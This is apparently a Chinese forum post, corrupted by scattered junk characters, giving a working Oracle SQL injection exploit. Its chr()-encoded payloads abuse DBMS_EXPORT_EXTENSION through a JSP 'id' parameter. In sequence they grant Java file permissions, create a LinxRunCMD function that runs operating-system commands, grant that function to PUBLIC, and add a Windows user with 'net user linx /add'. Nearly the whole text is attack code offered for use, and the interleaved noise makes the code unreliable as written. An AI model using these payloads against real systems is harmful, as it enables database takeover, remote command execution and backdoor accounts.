chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
$ M! X6 S( c( P, I q e% Mchr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||$ c- H0 x- P1 _7 A1 W. S/ I
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||2 s; M4 `% Z; ^5 L6 X
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
* n9 X' `. Y* K4 b* B,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual s* B" J7 ?% h1 S9 p t- c# f
4 w9 I$ s3 y4 _1 N
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# u5 f! Y5 j0 ^5 {- O" e* o1 x9 b: h, g* K! z/ V
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! E' q Y: S- d+ O! s K6 p' J1 T9 [2.赋Java权限, G) f# { {9 ?% w6 n7 V# p) l
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
) t8 U$ l. k( A: R* M! ?+ {" M$ J1 w. I3 X* B( h! r1 h6 {6 l
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
; {9 O% R7 b4 z5 ?3 f3 ]' Cchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||, H3 b: w, b4 q# P$ w! z/ \
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
" [" x7 N. Q. b# _' I4 K6 Ychr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
2 l l3 P# X: \( b9 ~chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||( `3 O+ I, x- U: u" T5 _" w# z
chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||
' M0 c5 Y! m+ w' ?) nchr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||: E, U# n3 n- ^6 m* ~
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
1 o( U6 k4 X- T x+ T Y8 pchr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||8 w3 x, K T( u
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)! i, a. y1 d$ V8 e' e% j# `
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
$ M' R/ A& b" }4 x" B% d6 r1 S" R! j1 h5 g3 z6 q3 |
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5 }4 _0 f( K/ }* I/ a0 l
) n& {; h- K$ c: [readfile函数的ascii版就不写了,见谅。
" q9 t2 `5 D: p j; O" o' ]. U2 m) |1 A) `! [8 h9 W: |
3.创建函数0 R: i: E' x; {3 ^2 | x. |) o: a
. u; n9 Z* _9 X* u, B- _select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),8 S# G0 r, |. q7 W0 V6 M
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||( q5 C, ?6 a9 `% c& j
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
1 k+ |" E& n" g, M0 Kchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||% x+ f1 o& h4 p$ i z# Z
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||' _$ b' z! s$ Q# l' f
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
/ w7 }$ p2 K0 q0 rchr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||5 p; [$ m2 C% @1 K
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
- D/ R9 e# D, }5 z$ }& Gchr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
, h- ]9 z- z/ I3 Y5 E/ Achr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||9 f$ f3 o8 O0 q l; C' ?
chr(59)||chr(45)||chr(45)' e" W1 [5 j4 [$ a$ X! c
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual5 {( S9 T& w0 q* q+ m/ U. H( l
) ^5 T. c8 m' u& ?
! N) I# {; D( l( g
8 M/ s3 s* B2 g" n$ y ~ W# z# b4.赋public执行函数的权限
% z6 n' O+ l9 |& o7 S2 d
5 l" J7 i+ G5 Z* w7 l( H1 fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82), ` l/ k+ v( f; Y
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||/ C% E+ O$ D" k P- V
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||& F2 i8 K* X6 D0 ?2 z6 _
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||5 ~% t9 R/ x3 z/ o5 J1 o
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
$ U0 Z, E9 L8 l- ~. Schr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
, B# \/ d/ W: o$ x {8 vchr(59)||chr(45)||chr(45)3 e5 `8 l& n# j; [4 V
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
4 _+ g' ]6 U" L7 ]$ R6 i8 w& Q& p+ x; f
3 p& \ {) }7 n d1 ]
2 {4 d z* T/ f5 c5.执行命令:, r0 g- k7 s. |4 \! M0 }7 D% ~
3 C# M4 {9 y% Q2 W: k8 M9 H
/xxx.jsp?id=1 and chr(49)<>chr(32)||(' m# A2 F7 r/ u. G/ F1 l( O8 P! K: ~7 W
select sys.LinxRunCMD('cmd /c net user linx /add') from dual1 ]9 _- g3 Q* @
)
" f n4 ]% B: D# E- l
- w( V0 n6 ?0 b5 Y; l% \/ n即5 L) H; ?% V# o4 f
/xxx.jsp?id=1 and chr(49)<>chr(32)||(3 s6 ^/ C: a) z Y+ U0 |
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual$ M7 X( ]7 h1 {- F, k
)
8 y& W7 ?0 q/ _" Q: J; t |